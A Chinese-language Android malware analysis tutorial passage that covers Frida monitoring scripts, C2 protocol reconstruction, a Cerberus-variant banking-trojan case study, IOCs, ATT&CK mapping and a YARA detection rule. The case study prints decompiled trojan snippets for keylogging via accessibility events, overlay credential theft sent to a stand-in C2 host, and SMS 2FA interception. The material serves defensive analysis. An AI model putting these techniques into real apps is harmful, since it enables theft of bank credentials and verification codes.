    // Hook HttpURLConnection.connect()
    var HttpURLConnection = Java.use("java.net.HttpURLConnection");
    HttpURLConnection.connect.implementation = function() {
        console.log("[HTTP] 连接: " + this.getURL().toString());
        console.log("  方法: " + this.getRequestMethod());
        return this.connect();
    };

    // Hook OkHttp (许多恶意软件使用 OkHttp)
    try {
        var OkHttpClient = Java.use("okhttp3.OkHttpClient");
        OkHttpClient.newCall.implementation = function(request) {
            var url = request.url().toString();
            var method = request.method();
            console.log("[OkHttp] " + method + " " + url);

            // 打印请求头
            var headers = request.headers();
            for (var i = 0; i < headers.size(); i++) {
                console.log("  Header: " + headers.name(i) + ": " + headers.value(i));
            }

            return this.newCall(request);
        };
    } catch(e) {}

    // Hook Socket 连接 (用于非 HTTP 协议的 C2)
    var Socket = Java.use("java.net.Socket");
    Socket.connect.overload(
        "java.net.SocketAddress", "int"
    ).implementation = function(addr, timeout) {
        console.log("[Socket] 连接: " + addr.toString() + " 超时: " + timeout);
        return this.connect(addr, timeout);
    };
});

6.2 解密 C2 通信

许多银行木马对 C2 通信数据进行加密。以下是 Hook 加解密函数提取明文的方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Java.perform(function() {

    // Hook javax.crypto.Cipher
    var Cipher = Java.use("javax.crypto.Cipher");

    Cipher.doFinal.overload("[B").implementation = function(input) {
        var mode = this.getOpMode();  // 1=ENCRYPT, 2=DECRYPT
        var algo = this.getAlgorithm();
        var result = this.doFinal(input);

        if (mode === 1) {
            console.log("\n[Cipher] 加密操作 (" + algo + ")");
            console.log("  明文: " + bytesToString(input));
            console.log("  密文(hex): " + bytesToHex(result));
        } else if (mode === 2) {
            console.log("\n[Cipher] 解密操作 (" + algo + ")");
            console.log("  密文(hex): " + bytesToHex(input));
            console.log("  明文: " + bytesToString(result));
        }

        return result;
    };

    // Hook SecretKeySpec 提取加密密钥
    var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
    SecretKeySpec.$init.overload("[B", "java.lang.String").implementation = function(key, algo) {
        console.log("\n[Key] 算法: " + algo);
        console.log("  密钥(hex): " + bytesToHex(key));
        console.log("  密钥(str): " + bytesToString(key));
        return this.$init(key, algo);
    };

    // Hook IvParameterSpec 提取 IV
    var IvParameterSpec = Java.use("javax.crypto.spec.IvParameterSpec");
    IvParameterSpec.$init.overload("[B").implementation = function(iv) {
        console.log("[IV] " + bytesToHex(iv));
        return this.$init(iv);
    };
});

function bytesToHex(bytes) {
    var hex = [];
    for (var i = 0; i < bytes.length; i++) {
        hex.push(('0' + (bytes[i] & 0xFF).toString(16)).slice(-2));
    }
    return hex.join('');
}

function bytesToString(bytes) {
    var result = "";
    for (var i = 0; i < bytes.length; i++) {
        result += String.fromCharCode(bytes[i] & 0xFF);
    }
    return result;
}

6.3 协议重建

提取足够多的通信样本后,可以重建 C2 协议格式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
典型银行木马 C2 协议结构:

┌──────────── 请求报文 ────────────┐
│                                  │
│  {                               │
│    "cmd": "register",            │  <-- 指令类型
│    "bot_id": "a1b2c3d4",         │  <-- 设备唯一标识
│    "data": {                     │
│      "model": "SM-G955F",        │  <-- 设备信息
│      "android": "11",            │
│      "operator": "中国移动",      │
│      "apps": [                   │  <-- 已安装银行 App 列表
│        "com.icbc",               │
│        "com.ccb.banking",        │
│        "com.chinamworld.bocmbci" │
│      ],                          │
│      "lang": "zh_CN",            │
│      "is_admin": true,           │  <-- 是否获取了设备管理员
│      "is_accessibility": true    │  <-- 是否获取了无障碍权限
│    }                             │
│  }                               │
│                                  │
└──────────────────────────────────┘

┌──────────── 响应报文 ────────────┐
│                                  │
│  {                               │
│    "status": "ok",               │
│    "commands": [                 │
│      {                           │
│        "action": "inject",       │  <-- 注入覆盖页面
│        "target": "com.icbc",     │  <-- 目标 App
│        "url": "https://xx/icbc"  │  <-- 钓鱼页面 URL
│      },                          │
│      {                           │
│        "action": "sms_forward",  │  <-- 转发短信
│        "phone": "+86xxx"         │
│      },                          │
│      {                           │
│        "action": "update",       │  <-- 更新自身
│        "url": "https://xx/v2.apk"│
│      }                           │
│    ]                             │
│  }                               │
│                                  │
└──────────────────────────────────┘

常见 C2 指令集:

指令功能参数
register注册 Bot设备信息、已安装 App
inject推送覆盖页面目标包名、钓鱼 URL
sms_forward转发短信目标号码
sms_send发送短信号码、内容
get_contacts窃取通讯录
get_apps获取已安装 App
lock_screen锁定屏幕
update自更新新版本 URL
uninstall自我销毁
push_notification推送虚假通知标题、内容、目标 App
ussd执行 USSD 代码USSD 字符串
keylog_start开始键盘记录
screen_capture截屏

Frida 恶意软件分析脚本

本节提供一套完整的 Frida 脚本集,用于监控恶意软件的各种敏感行为。

7.1 综合监控脚本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
// malware_monitor.js - 恶意软件综合行为监控脚本
// 用法: frida -U -f com.malware.package -l malware_monitor.js --no-pause

"use strict";

console.log("========================================");
console.log("  恶意软件行为监控 v1.0");
console.log("========================================\n");

Java.perform(function() {

    // ===== 1. 短信相关 API 监控 =====
    console.log("[*] 挂载短信监控...");

    var SmsManager = Java.use("android.telephony.SmsManager");
    SmsManager.sendTextMessage.overload(
        "java.lang.String", "java.lang.String", "java.lang.String",
        "android.app.PendingIntent", "android.app.PendingIntent"
    ).implementation = function(dst, sc, text, sentIntent, deliveryIntent) {
        console.log("\n[!!! SMS 发送 !!!]");
        console.log("  目标号码: " + dst);
        console.log("  内容: " + text);
        console.log("  调用栈:\n" + Java.use("android.util.Log")
            .getStackTraceString(Java.use("java.lang.Exception").$new()));
        return this.sendTextMessage(dst, sc, text, sentIntent, deliveryIntent);
    };

    // ===== 2. 电话/设备信息获取监控 =====
    console.log("[*] 挂载设备信息监控...");

    var TelephonyManager = Java.use("android.telephony.TelephonyManager");

    TelephonyManager.getDeviceId.overload().implementation = function() {
        var result = this.getDeviceId();
        console.log("[INFO] getDeviceId() => " + result);
        return result;
    };

    TelephonyManager.getSubscriberId.implementation = function() {
        var result = this.getSubscriberId();
        console.log("[INFO] getSubscriberId() => " + result);
        return result;
    };

    TelephonyManager.getLine1Number.implementation = function() {
        var result = this.getLine1Number();
        console.log("[INFO] getLine1Number() => " + result);
        return result;
    };

    TelephonyManager.getSimSerialNumber.implementation = function() {
        var result = this.getSimSerialNumber();
        console.log("[INFO] getSimSerialNumber() => " + result);
        return result;
    };

    // ===== 3. 联系人/内容提供者查询监控 =====
    console.log("[*] 挂载 ContentResolver 监控...");

    var ContentResolver = Java.use("android.content.ContentResolver");
    ContentResolver.query.overload(
        "android.net.Uri", "[Ljava.lang.String;",
        "java.lang.String", "[Ljava.lang.String;", "java.lang.String"
    ).implementation = function(uri, projection, selection, selectionArgs, sortOrder) {
        var uriStr = uri.toString();
        // 只记录敏感 URI
        if (uriStr.indexOf("contacts") !== -1 ||
            uriStr.indexOf("sms") !== -1 ||
            uriStr.indexOf("call_log") !== -1 ||
            uriStr.indexOf("browser") !== -1) {
            console.log("\n[!!! 敏感数据查询 !!!]");
            console.log("  URI: " + uriStr);
        }
        return this.query(uri, projection, selection, selectionArgs, sortOrder);
    };

    // ===== 4. 文件操作监控 =====
    console.log("[*] 挂载文件操作监控...");

    var FileOutputStream = Java.use("java.io.FileOutputStream");
    FileOutputStream.$init.overload("java.io.File").implementation = function(file) {
        var path = file.getAbsolutePath();
        if (path.indexOf("/sdcard/") !== -1 ||
            path.indexOf("/storage/") !== -1 ||
            path.indexOf(".dex") !== -1 ||
            path.indexOf(".jar") !== -1 ||
            path.indexOf(".so") !== -1) {
            console.log("[FILE WRITE] " + path);
        }
        return this.$init(file);
    };

    // ===== 5. 相机监控 =====
    console.log("[*] 挂载相机监控...");

    try {
        var Camera = Java.use("android.hardware.Camera");
        Camera.open.overload("int").implementation = function(id) {
            console.log("[!!! 相机打开 !!!] CameraId: " + id);
            return this.open(id);
        };
    } catch(e) {}

    // ===== 6. 录音监控 =====
    console.log("[*] 挂载录音监控...");

    try {
        var MediaRecorder = Java.use("android.media.MediaRecorder");
        MediaRecorder.start.implementation = function() {
            console.log("[!!! 录音开始 !!!]");
            console.log("  调用栈:\n" + Java.use("android.util.Log")
                .getStackTraceString(Java.use("java.lang.Exception").$new()));
            return this.start();
        };
    } catch(e) {}

    // ===== 7. 位置信息监控 =====
    console.log("[*] 挂载位置监控...");

    var LocationManager = Java.use("android.location.LocationManager");
    LocationManager.getLastKnownLocation.implementation = function(provider) {
        var loc = this.getLastKnownLocation(provider);
        if (loc !== null) {
            console.log("[!!! 位置获取 !!!] " + loc.getLatitude() +
                        ", " + loc.getLongitude());
        }
        return loc;
    };

    // ===== 8. Runtime.exec 监控 (检测 root 命令执行) =====
    console.log("[*] 挂载命令执行监控...");

    var Runtime = Java.use("java.lang.Runtime");
    Runtime.exec.overload("java.lang.String").implementation = function(cmd) {
        console.log("[EXEC] " + cmd);
        return this.exec(cmd);
    };
    Runtime.exec.overload("[Ljava.lang.String;").implementation = function(cmds) {
        console.log("[EXEC] " + cmds.join(" "));
        return this.exec(cmds);
    };

    // ===== 9. 动态加载监控 =====
    console.log("[*] 挂载动态加载监控...");

    var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
    DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
        console.log("\n[!!! 动态 DEX 加载 !!!]");
        console.log("  DEX 路径: " + dexPath);
        return this.$init(dexPath, optDir, libPath, parent);
    };

    var System = Java.use("java.lang.System");
    System.loadLibrary.implementation = function(libName) {
        console.log("[SO 加载] System.loadLibrary: " + libName);
        return this.loadLibrary(libName);
    };

    console.log("\n[*] 所有监控已就绪,等待恶意行为...\n");
});

7.2 网络连接专项监控

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// network_monitor.js - 网络通信深度监控

Java.perform(function() {

    console.log("[*] 网络通信监控已启动\n");

    // 监控所有 URL 请求
    var URL = Java.use("java.net.URL");
    URL.$init.overload("java.lang.String").implementation = function(url) {
        console.log("[URL] " + url);
        return this.$init(url);
    };

    // 监控 OkHttp 请求和响应
    try {
        // Hook RealCall.execute() 获取完整请求和响应
        var RealCall = Java.use("okhttp3.RealCall");
        RealCall.execute.implementation = function() {
            var request = this.request();
            console.log("\n[OkHttp Request]");
            console.log("  URL: " + request.url());
            console.log("  Method: " + request.method());

            // 打印请求体
            var body = request.body();
            if (body !== null) {
                var Buffer = Java.use("okio.Buffer");
                var buf = Buffer.$new();
                body.writeTo(buf);
                console.log("  Body: " + buf.readUtf8());
            }

            var response = this.execute();

            console.log("[OkHttp Response]");
            console.log("  Code: " + response.code());
            // 注意: 读取响应体会消耗流,需要特殊处理
            // 这里仅记录状态码和头信息

            return response;
        };
    } catch(e) {
        console.log("[-] OkHttp hook 失败 (可能未使用 OkHttp)");
    }

    // 监控 WebSocket 连接 (用于实时 C2 通信)
    try {
        var WebSocketListener = Java.use("okhttp3.WebSocketListener");
        WebSocketListener.onMessage.overload(
            "okhttp3.WebSocket", "java.lang.String"
        ).implementation = function(ws, text) {
            console.log("\n[!!! WebSocket 消息 !!!]");
            console.log("  内容: " + text);
            return this.onMessage(ws, text);
        };
    } catch(e) {}

    // 监控 Telegram Bot API 调用
    var URLConnection = Java.use("java.net.HttpURLConnection");
    URLConnection.connect.implementation = function() {
        var url = this.getURL().toString();
        if (url.indexOf("api.telegram.org") !== -1) {
            console.log("\n[!!! Telegram C2 通信 !!!]");
            console.log("  URL: " + url);
        }
        return this.connect();
    };

    // 监控 DNS 解析
    var InetAddress = Java.use("java.net.InetAddress");
    InetAddress.getByName.implementation = function(host) {
        var result = this.getByName(host);
        console.log("[DNS] " + host + " => " + result.getHostAddress());
        return result;
    };
});

7.3 加密操作专项监控

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// crypto_monitor.js - 加密操作全面监控

Java.perform(function() {

    console.log("[*] 加密操作监控已启动\n");

    // ===== Cipher 操作 =====
    var Cipher = Java.use("javax.crypto.Cipher");

    Cipher.getInstance.overload("java.lang.String").implementation = function(algo) {
        console.log("[Cipher] 算法: " + algo);
        return this.getInstance(algo);
    };

    Cipher.init.overload("int", "java.security.Key").implementation = function(mode, key) {
        var modeStr = (mode === 1) ? "ENCRYPT" : (mode === 2) ? "DECRYPT" : "MODE_" + mode;
        console.log("[Cipher] init " + modeStr);
        console.log("  Key算法: " + key.getAlgorithm());
        console.log("  Key(hex): " + bytesToHex(key.getEncoded()));
        return this.init(mode, key);
    };

    Cipher.doFinal.overload("[B").implementation = function(data) {
        var result = this.doFinal(data);
        var mode = this.getOpMode();
        console.log("\n[Cipher doFinal] " + this.getAlgorithm());
        if (mode === 1) {
            console.log("  输入(明文): " + bytesToUtf8(data));
            console.log("  输出(密文hex): " + bytesToHex(result));
        } else {
            console.log("  输入(密文hex): " + bytesToHex(data));
            console.log("  输出(明文): " + bytesToUtf8(result));
        }
        return result;
    };

    // ===== MessageDigest (哈希) =====
    var MessageDigest = Java.use("java.security.MessageDigest");
    MessageDigest.digest.overload("[B").implementation = function(data) {
        var result = this.digest(data);
        console.log("\n[Hash] " + this.getAlgorithm());
        console.log("  输入: " + bytesToUtf8(data));
        console.log("  输出(hex): " + bytesToHex(result));
        return result;
    };

    // ===== Base64 =====
    var Base64 = Java.use("android.util.Base64");

    Base64.encodeToString.overload("[B", "int").implementation = function(data, flags) {
        var result = this.encodeToString(data, flags);
        console.log("\n[Base64 Encode]");
        console.log("  输入: " + bytesToUtf8(data));
        console.log("  输出: " + result.trim());
        return result;
    };

    Base64.decode.overload("java.lang.String", "int").implementation = function(str, flags) {
        var result = this.decode(str, flags);
        console.log("\n[Base64 Decode]");
        console.log("  输入: " + str.trim());
        console.log("  输出: " + bytesToUtf8(result));
        return result;
    };
});

function bytesToHex(arr) {
    var hex = "";
    for (var i = 0; i < arr.length; i++) {
        hex += ("0" + (arr[i] & 0xFF).toString(16)).slice(-2);
    }
    return hex;
}

function bytesToUtf8(arr) {
    try {
        var result = "";
        for (var i = 0; i < arr.length; i++) {
            var c = arr[i] & 0xFF;
            if (c >= 32 && c < 127) {
                result += String.fromCharCode(c);
            } else {
                result += ".";
            }
        }
        return result;
    } catch(e) {
        return "<无法解码>";
    }
}

案例:银行木马分析

💡 思路一句话: 静态分析 APK 权限和组件 → 动态沙箱观察行为(网络、文件、短信)→ 提取 C2 通信协议和加密方式 → 编写 YARA 规则用于检测。

安全提示: 分析恶意样本请在隔离环境中进行(虚拟机/专用设备),断开与主网络的连接。

本节以一个完整的银行木马样本为例,演示从获取样本到输出报告的全过程。

样本概况

属性
伪装Flash Player / 系统更新
家族Cerberus 变种
SHA256a1b2c3d4e5f6... (示例)
包名com.system.update
目标区域中国、东南亚
首次发现钓鱼短信中的下载链接

行为概述: 诱导用户开启"无障碍服务",然后利用该权限进行点击劫持、覆盖攻击 (Overlay Attack),窃取银行 App 的账号密码,并拦截短信验证码。

第 1 步:静态分析 (Manifest & 权限)

使用 jadx 打开 APK,首先查看 AndroidManifest.xml

关键发现:

  1. 敏感权限:

    • android.permission.BIND_ACCESSIBILITY_SERVICE (无障碍服务 - 核心权限)
    • android.permission.RECEIVE_SMS (接收短信)
    • android.permission.READ_SMS (读取短信)
    • android.permission.SYSTEM_ALERT_WINDOW (悬浮窗 - 用于覆盖攻击)
    • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS (忽略电池优化 - 保活)
  2. 入口点 (Entry Points):

    • 发现一个 MainActivity,但代码很简单,只是请求权限。
    • 发现一个 MyAccessibilityService,继承自 AccessibilityService,这是核心逻辑所在。
    • SmsReceiver 注册了高优先级 (priority=999) 的 SMS 广播接收器。
    • BootReceiver 监听开机广播实现持久化。
    • AdminReceiver 注册为设备管理器防止卸载。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
样本攻击链 (Kill Chain):

  [钓鱼短信]
      v
  [用户下载安装 APK]
      v
  [MainActivity 诱导开启无障碍服务]
      ├──> [注册设备管理器 - 防卸载]
      ├──> [注册开机广播 - 持久化]
      ├──> [隐藏图标 - 隐蔽性]
      v
  [无障碍服务启动 - 核心恶意引擎]
      ├──> [监控目标银行 App]
      │       └──> [覆盖攻击窃取凭证]
      ├──> [拦截短信验证码]
      │       └──> [上传至 C2]
      ├──> [键盘记录]
      │       └──> [上传至 C2]
      ├──> [自动点击"允许"绕过权限弹窗]
      └──> [阻止用户进入设置页面卸载]

第 2 步:分析无障碍服务 (Accessibility Service)

定位到 MyAccessibilityService 类,重点分析 onAccessibilityEvent 方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void onAccessibilityEvent(AccessibilityEvent event) {
    String packageName = event.getPackageName().toString();

    // 1. Auto grant permissions (Self-Protection & Persistence)
    if (packageName.equals("com.android.settings")) {
        // If user opens settings page to uninstall or disable permissions,
        // malware will auto click "Back" or "Cancel"
        performGlobalAction(GLOBAL_ACTION_BACK);
    }

    // 2. Monitor target banking apps
    if (TARGET_BANK_APPS.contains(packageName)) {
        // Detected victim opened banking app
        showOverlay(packageName);
    }

    // 3. Keyboard recording (Keylogging)
    if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
        String text = event.getText().toString();
        logKey(text);
    }
}

目标银行 App 列表 (从反编译代码中提取):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// 硬编码在代码中的目标 App 列表
private static final String[] TARGET_BANK_APPS = {
    "com.icbc",                     // 工商银行
    "com.ccb.banking",              // 建设银行
    "com.chinamworld.bocmbci",      // 中国银行
    "cmb.pb",                       // 招商银行
    "com.chinamworld.main",         // 农业银行
    "com.bankcomm.Bankcomm",        // 交通银行
    "com.pingan.pacemaker",         // 平安口袋银行
    "com.cebbank.mobile.cemb",      // 光大银行
    "com.yitong.mbank.psbc",        // 邮储银行
    "com.tencent.mm",               // 微信 (支付功能)
    "com.eg.android.AlipayGphone",  // 支付宝
};

第 3 步:覆盖攻击 (Overlay Attack)

当无障碍服务检测到用户打开目标银行 App 时,恶意软件通过 SYSTEM_ALERT_WINDOW 权限创建一个全屏悬浮窗,加载一个精心伪造的钓鱼页面,覆盖在真实银行 App 之上。

窃取流程: 用户以为自己在登录银行,实际上是在木马的 WebView 中输入了账号密码。木马通过 JavaScript Interface 将输入的数据传回 Java 层,然后上传服务器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// 从 C2 下载的钓鱼页面通过 WebView 加载
webView.addJavascriptInterface(new Object() {
    @JavascriptInterface
    public void submitCredentials(String bank, String user, String pass) {
        // 通过 C2 回传窃取的凭证
        JSONObject json = new JSONObject();
        json.put("cmd", "creds");
        json.put("bank", bank);
        json.put("user", user);
        json.put("pass", pass);
        json.put("bot_id", getBotId());
        sendToC2(json.toString());
    }
}, "AndroidBridge");

第 4 步:短信拦截 (SMS Stealing)

分析 SmsReceiver 类。高优先级注册确保恶意软件先于系统短信 App 收到短信广播。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public class SmsReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");
        for (Object pdu : pdus) {
            SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);
            String body = sms.getMessageBody();
            String sender = sms.getOriginatingAddress();

            // Upload SMS to C2 Server
            uploadSmsToC2(sender, body);

            // If SMS contains "verification code" or other key words,
            // intercept the broadcast so user cannot see it
            if (is2FACode(body)) {
                abortBroadcast();
            }
        }
    }
}

第 5 步:C2 通信分析

  1. 定位 C2 地址:

    • 资源解密: 有时 C2 地址被加密存储在 assets 下的图片或文本文件中,或者使用 DGA (域名生成算法) 动态生成。
    • Native 分析: 越来越多的木马将 C2 地址和通信逻辑隐藏在 SO 库中。
  2. 通信协议:

    • HTTP/HTTPS: 抓包分析 POST 请求。
    • WebSocket: 用于实时控制。
    • Telegram Bot API: 很多新型木马利用 Telegram Bot 作为 C2,因为 Telegram 的流量通常不会被防火墙拦截,且 HTTPS 难以解密。

本样本使用 AES-CBC 加密 + Base64 编码与 C2 通信。使用前文的 Frida 加密监控脚本成功提取:

1
2
3
4
5
6
7
8
9
[Cipher] init ENCRYPT
  Key算法: AES
  Key(hex): 6d616c776172656b65793132333435  ("malwarekey12345")

[Cipher doFinal] AES/CBC/PKCS5Padding
  输入(明文): {"cmd":"register","bot_id":"abc123","data":{"model":"Pixel 4"...}}
  输出(密文hex): 8a3f2b...

[URL] https://evil-c2-server.xyz/api/bot

Frida Hook 示例 (拦截 Telegram API):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Assume malware uses OkHttp
Java.perform(function () {
  var OkHttpClient = Java.use("okhttp3.OkHttpClient");
  OkHttpClient.newCall.implementation = function (request) {
    var url = request.url().toString();
    if (url.includes("api.telegram.org")) {
      console.log("[!] Detected Telegram C2 Communication: " + url);
    }
    return this.newCall(request);
  };
});

第 6 步:反分析技术

木马作者也会使用各种手段防止被逆向:

  • 模拟器检测: 检查 Build.FINGERPRINT, Build.MODEL 等。
  • 加壳: 使用免费或商业的加固服务。
  • 动态加载: 核心 dex 文件被加密存储,运行时动态解密加载 (DexClassLoader)。
  • 字符串加密: 所有关键字符串使用 XOR 或 AES 加密,运行时解密。
  • 反 Frida: 检测 frida-server 端口和内存特征。

使用前述 Frida 脚本成功绕过所有反分析检测后,获取到完整的行为数据。

第 7 步:IOC 提取

从分析中提取的威胁指标 (Indicators of Compromise):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
===== IOC 汇总 =====

[文件哈希]
MD5:    d41d8cd98f00b204e9800998ecf8427e
SHA1:   da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: a1b2c3d4e5f67890...

[C2 服务器]
域名:   evil-c2-server.xyz
IP:     185.xxx.xxx.xxx
端口:   443 (HTTPS)

备用 C2:
域名:   backup-c2.top
IP:     91.xxx.xxx.xxx

Telegram Bot Token: 1234567890:ABCdefGHIjklMNOpqrsTUVwxyz

[加密信息]
算法:   AES/CBC/PKCS5Padding
密钥:   malwarekey12345 (hex: 6d616c776172656b65793132333435)
IV:     1234567890abcdef

[恶意 URL]
钓鱼页面: https://evil-c2-server.xyz/inject/icbc.html
更新地址: https://evil-c2-server.xyz/update/v2.apk

[权限特征]
BIND_ACCESSIBILITY_SERVICE
RECEIVE_SMS / READ_SMS
SYSTEM_ALERT_WINDOW
RECEIVE_BOOT_COMPLETED
BIND_DEVICE_ADMIN

报告撰写

分析完成后,需要输出一份结构化的恶意软件分析报告。

报告模板结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌─────────────────────────────────────────────────────────────┐
│             恶意软件分析报告结构                              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 执行摘要 (Executive Summary)                            │
│     - 样本类型、危害等级、核心发现                           │
│     - 面向非技术人员的简要说明                               │
│                                                             │
│  2. 样本信息 (Sample Information)                           │
│     - 文件名、大小、哈希值                                   │
│     - 包名、版本、签名证书                                   │
│     - 首次发现时间与来源                                     │
│                                                             │
│  3. 技术分析 (Technical Analysis)                           │
│     - 静态分析结果                                          │
│     - 动态分析结果                                          │
│     - 代码分析 (关键函数/类)                                 │
│     - 网络行为分析                                          │
│                                                             │
│  4. 行为详述 (Behavior Details)                             │
│     - 安装与初始化行为                                       │
│     - 持久化机制                                            │
│     - 数据窃取方式                                          │
│     - C2 通信协议                                           │
│     - 反分析技术                                            │
│                                                             │
│  5. IOC (Indicators of Compromise)                          │
│     - 文件哈希                                              │
│     - 网络指标 (域名、IP、URL)                               │
│     - 主机指标 (文件路径、注册表、进程名)                     │
│                                                             │
│  6. MITRE ATT&CK 映射                                      │
│     - 对应的 TTP (Tactics, Techniques, Procedures)          │
│                                                             │
│  7. 缓解建议 (Mitigation)                                   │
│     - 检测规则 (YARA / Snort / Sigma)                       │
│     - 防御建议                                              │
│                                                             │
│  8. 附录 (Appendix)                                         │
│     - 完整的反编译代码片段                                   │
│     - 网络流量截图                                          │
│     - 分析工具版本信息                                       │
│                                                             │
└─────────────────────────────────────────────────────────────┘

MITRE ATT&CK 映射示例

对于本案例中的银行木马,对应的 ATT&CK for Mobile 技术如下:

Tactic (战术)Technique (技术)ID本样本行为
Initial AccessDeliver Malicious App via SMST1660钓鱼短信分发 APK
PersistenceBoot or Logon InitializationT1398开机自启 BootReceiver
Privilege EscalationAbuse Accessibility FeaturesT1453滥用无障碍服务
Defense EvasionApplication Icon HidingT1628.001隐藏桌面图标
Defense EvasionDevice Admin AbuseT1401防止卸载
Credential AccessInput Capture: KeyloggingT1417.001键盘记录
Credential AccessInput Capture: GUI InputT1417.002覆盖攻击
CollectionSMS AccessT1636.004短信拦截
C2Web ProtocolsT1437.001HTTPS C2 通信
ExfiltrationExfiltration Over C2T1646通过 C2 回传数据

YARA 规则示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
rule Android_BankingTrojan_Cerberus_Variant {
    meta:
        author = "Malware Analyst"
        description = "检测 Cerberus 银行木马变种"
        date = "2025-02-08"
        severity = "high"
        family = "Cerberus"

    strings:
        // 目标银行 App 包名
        $pkg1 = "com.icbc" ascii
        $pkg2 = "com.ccb.banking" ascii
        $pkg3 = "cmb.pb" ascii
        $pkg4 = "com.eg.android.AlipayGphone" ascii

        // C2 通信特征
        $c2_1 = "api/bot" ascii
        $c2_2 = "api.telegram.org" ascii

        // 加密密钥特征
        $key1 = "malwarekey" ascii

        // 无障碍服务关键字
        $acc1 = "onAccessibilityEvent" ascii
        $acc2 = "GLOBAL_ACTION_BACK" ascii
        $acc3 = "TYPE_VIEW_TEXT_CHANGED" ascii

        // 短信拦截
        $sms1 = "abortBroadcast" ascii
        $sms2 = "getMessageBody" ascii

        // 覆盖攻击
        $overlay1 = "TYPE_APPLICATION_OVERLAY" ascii
        $overlay2 = "addJavascriptInterface" ascii

    condition:
        // APK 文件魔数
        uint32(0) == 0x04034b50 and
        filesize < 10MB and
        (3 of ($pkg*)) and
        (1 of ($c2*)) and
        (2 of ($acc*)) and
        (1 of ($sms*)) and
        (1 of ($overlay*))
}

工具链推荐

综合分析平台

工具类型用途链接
VirusTotal在线多引擎扫描、行为报告、关联分析virustotal.com
MobSF本地/在线自动化静态+动态分析github.com/MobSF
DroidBox本地Android 沙箱,监控 API 调用、网络、文件操作github.com/pjlantz/droidbox
Joe Sandbox在线专业沙箱分析,生成详细行为报告joesandbox.com
Hybrid Analysis在线免费沙箱分析hybrid-analysis.com
Koodous在线Android 恶意软件社区和分析平台koodous.com

静态分析工具

工具用途说明
JadxJava 反编译最常用的 Android 反编译工具
APKiD壳/编译器识别快速识别加壳、混淆、编译器类型
APKToolAPK 解包/重打包资源文件分析和修改
Bytecode Viewer多引擎反编译同时查看多个反编译器的输出
IDA ProNative 分析SO 库逆向分析的行业标准
GhidraNative 分析NSA 开源逆向工具,免费替代 IDA
Dex2jarDEX 转 JAR将 DEX 转为 JAR 后用 JD-GUI 查看

动态分析工具

工具用途说明
Frida动态插桩核心分析工具,Hook 任意函数
ObjectionFrida 封装简化常见操作 (SSL bypass, 类枚举等)
Burp SuiteHTTP(S) 抓包分析 C2 通信
mitmproxyHTTP(S) 抓包命令行抓包,支持脚本扩展
Wireshark全量抓包分析非 HTTP 协议的 C2 通信
strace系统调用追踪监控文件、网络操作

威胁情报工具

工具用途说明
YARA恶意软件规则匹配编写规则扫描和分类恶意样本
MISP威胁情报共享开源威胁情报平台
OTX (AlienVault)威胁情报免费威胁情报社区
Shodan网络空间搜索搜索 C2 服务器基础设施
Censys网络空间搜索类似 Shodan,搜索互联网资产
